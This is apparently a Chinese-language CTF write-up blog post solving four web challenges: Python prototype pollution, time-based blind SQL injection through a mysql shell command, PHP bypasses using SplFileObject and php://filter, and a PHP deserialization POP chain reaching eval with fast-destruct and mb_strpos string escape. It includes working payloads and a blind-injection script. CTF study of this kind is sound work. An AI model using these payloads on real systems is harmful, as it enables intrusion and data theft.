# [Week4] 圣钥之战1.0 【复现】

在read路由下源码

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag()
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

先问问chatGPT怎么看

原型污染

Prototype Pollution(原型污染)漏洞,主要出现在对象继承的语言(如 JavaScript 和 Python)中,允许攻击者通过修改对象的原型或类属性来污染对象实例,导致意外的行为。

/pollute路由下,接收GET/POST参数,使用merge函数处理,把参数实例化赋值给instance对象

再看instance是什么类实例化的,一个空类

class cls():
    def __init__(self):
        pass

instance = cls()
1
2
3
4
5

在read()函数里,会读取__file__变量,这个变量代表当前的文件的路径。如果传入的参数数据中有新的属性,且类型匹配,就可以向 instance 对象注入新的属性或修改现有属性,所以我们可以通过原型污染,把__file__变量伪造成/flag,这样就可以读到flag。

# [week4] only one sql

源码

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);
1
2
3
4
5
6
7
8
9
10
11
12

通过show tables,show columns from flag,拿到表名和字段名id,data,想着没有select查不了了,能力有限了

看了师傅们解题思路,眼前一亮。猜测flag在data字段里,使用delete from flag where data like'f%' and sleep(3),这里非常细节,还用到了and的性质,前假会直接结束,不会执行后面的sleep函数,只有正则匹配到flag时,才会执行sleep函数,从而盲注出flag,sleep函数返回null,整个条件是永假,不会修改flag。

import requests
import string
import time
import urllib.parse

# 测试,没有大写
sqlstr = '-{}abcdefghijklmnopqrstuvwxyz123456789'
url = "http://gz.imxbt.cn:20378/"
flag=''
for i in range(1,100):
    for c in sqlstr:
        params = {
        'sql': f"delete from flag where data like'{flag}{c}%' and sleep(3)",
        }
        # print(params)
        start_time = time.time()
        r = requests.get(url,params=params)

        end_time = time.time()
        # print(end_time-start_time)
        if (end_time-start_time) > 2:
            # print(c)
            flag = flag + c
            print(flag)
            break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# [Fin] 1z_php

考点:php特性 贪婪匹配绕过 原生类读取文件

源码

点击查看
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
    echo "只有真正的hacker才能拿到flag!"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker,你得不到flag的!");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

第一处get参数绕过:$emp=$_GET['e_m.p'];,同时含有_下划线和.点,需要把下划线写成[左方括号。需要传e[m.p

第二处if语句绕过:if($emp!="114514"&&intval($emp,0)===114514),这里会判断$emp,不能直接明文=114514,如果是0开头的进制整形数时才能满足

在计算机里计算114514的其他进制表示,在下面还会判断不能含有字母,所以这里需要8进制的114514,即0337522

第三处绕过

if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }
1
2
3
4
5
6

在这里的第一个if语句里,使用了非贪婪匹配正则表达式检查变量$try,这两个if语句的作用就是,要求变量$try中不能含有hacker,又要求在$try中必须能找到hacker

在这篇文章里,作者使用/*1000000多个a*/hacker,绕过了非贪婪匹配的限制

# POST:try=/*1001000个a*/hacker
print("/*"+"a"*1001000+"*/hacker")
1
2

最后接收a,b,c三个参数,一眼原生类读取文件

使用原生类SplFileObject,搭配伪协议和__toString方法读取文件内容。payload:a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php&c=__toString(new $a($b))->$c()在XYCTF里碰到一次,有点印象,直接梭哈

所以最后的payload:

GET:?e[m.p=0337522&a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php&c=__toString POST:try=/*1001000个a*/hacker,里面的a用python打出来手动复制替换进去

# [Fin] ez_php

笔者说

这道题卡了我两天,做起来太爽啦,卡在了wakeup的$this->username="hacker";$this->end = $this->start;,晨曦师傅题目太赞啦

最后,这种非常长的题目建议一定要复制到本地测试,多加几句调试语句,观察进度,不然很难看出来问题在哪

考点:php特性 mb_strpos函数的漏洞 wakeup绕过 fast-destruct 属性引用

源码

点击查看
<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

if(isset($_GET['ez_ser.from_you'])){
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
    if(preg_match("/\[|\]/i", $_GET['substr'])){
        die("NONONO!!!");
    }
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
    $a = unserialize($ser_ctf);
    throw new Exception("杂鱼~杂鱼~");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

看程序最后的入口if语句,传的变量值会通过construct构造函数,创建$ctf对象,接着判断另一个GET参数substr,检查他是否含有[]左右方括号,如果含有,就会结束程序,否则赋值给$pre,再把变量$pre和序列化的$ctf拼接在一起,使用自定义的substrstr函数处理,最后反序列化,遇到错误会抛出异常

主要逻辑讲完了,现在开始分析绕过思路:

  • 第一处$_GET['ez_ser.from_you'],php特性,同时出现_下划线和.点,需要把下划线写成[左方括号,所以这里需要传ez[ser.from_you
  • 不能试图通过数组类型$substr绕过正则,因为即使绕过也不会触发字符串逃逸,后面substrstr函数根本就不会处理你的数组数据
  • 自定义的substrstr函数里使用了存在漏洞的函数mb_strpos
  • 想触发pop链,关键在从HACKER类到pop的跳跃,在destruct方法里,if(!preg_match('/ctfer/i',$this->username))$this->username当作字符串,会触发__toString魔术方法
  • 在HACKER类里同时存在wakeup,destruct魔术方法,wakeup会重新赋值$username为字符串,这里很关键,会破坏链子
  • wakeup会比destruct先触发,我们需要先触发destruct

gxngxngxn师傅讲的很详细,可以通过mb_strpos函数无法解析%9f,%09,构造出字符串逃逸

$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
1
2

最终目的是要反序列化一个题目给的序列化字符串,但是我们用不了。所以需要自己构造,我们可以通过ez[ser.from_you参数传入我们的序列化好的字符串,构造函数会赋值给$ctf->start。在subsstrstr处理前,序列化两次的HACKER的对象

所以这个序列化的字符有两个头O:6:"Hacker":3:{s:98:"start";s:1:"1";O:6:"Hacker":3:{.....}";s:3:"end";s:1:"1";..,这样,第二次序列化把我们整个payload都赋值在start里了,我们利用substrstr函数的漏洞,把前面的吃掉,后面的不管,那么就实现了字符串逃逸

现在构造我们的payload:

链子的头是Hacker类的username属性,把username链接成C类的对象,通过把username当作字符串进行正则匹配,触发toString方法,后面类的pop链接就简单了,这里不细讲了,不明白可以直接评论留言。

现在拿到链子不能直接用,因为wakeup会重新赋值username属性,破坏了toString方法和后续链子的链接。我们可以通过fast-destruct来先执行destruct方法,我们还需要保留username的值,$this->username="hacker";$this->end = $this->start;这里是关键,wakeup先重赋值username属性,我们可以让username和end互相引用,这样,在wakeup赋值一次后,会被start再赋值一次,那么start就是这里的关键了

现在给出构造的payload:

点击查看
<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        echo "<br><br>第一次测试wakeup";
        var_dump($this);
        echo "<br><br>__wakeup触发";
        $this->username = "hacker";
        $this->end = $this->start;
        echo "<br><br>第二次测试wakeup";
        var_dump($this);
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo "__destruct触发";
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

// if(isset($_GET['ez_ser.from_you'])){
//     $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
//     var_dump($ctf);
//     echo "<br>";
//     if(preg_match("/\[|\]/i", $_GET['substr'])){
//         die("NONONO!!!");
//     }
//     $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
//     $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
//     echo "<br><br>########\$ser_ctf:".$ser_ctf."<br><br>";
//     $a = unserialize($ser_ctf);
//     var_dump($a);
//     throw new Exception("杂鱼~杂鱼~");
// }


$c = new C();

$t = new T();
$f = new F();
$e = new E();
$r = new R();
$payload = new Hacker($c);
$payload -> username = &$payload -> end;
$c -> c = $t;
$t -> t = $f;
$f -> f = $e;
$e -> e = $r;
$r -> r = "phpinfo();";
echo serialize($payload);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

现在拿到了链子:O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";N;s:8:"username";R:8;}

现在只需要让destruct方法执行就可以命令执行了

通过这个文章,可以学习到两种触发fast-destruct的方法

  • 去掉末尾大括号
  • 大括号前添加数字1

所以两种payload: O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";N;s:8:"username";R:8;

O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";N;s:8:"username";R:8;1}

现在利用substrstr函数无法解析%09,%9f把我们的payload从两次序列化的字符串中逃逸出来

?ez[ser.from_you=O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";N;s:8:"username";R:8;1}&substr=%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%9f%9f%9f%f0%f0%f0%f0%9f%9f%9f%f0%f0%f0%f0%f0%f0%f0%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%f0%f0%f0%f0%f0%f0%f0%f0%9f%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0

11

# 其他 【待复现】

最后一次更新于: 2024/09/25, 14:38:36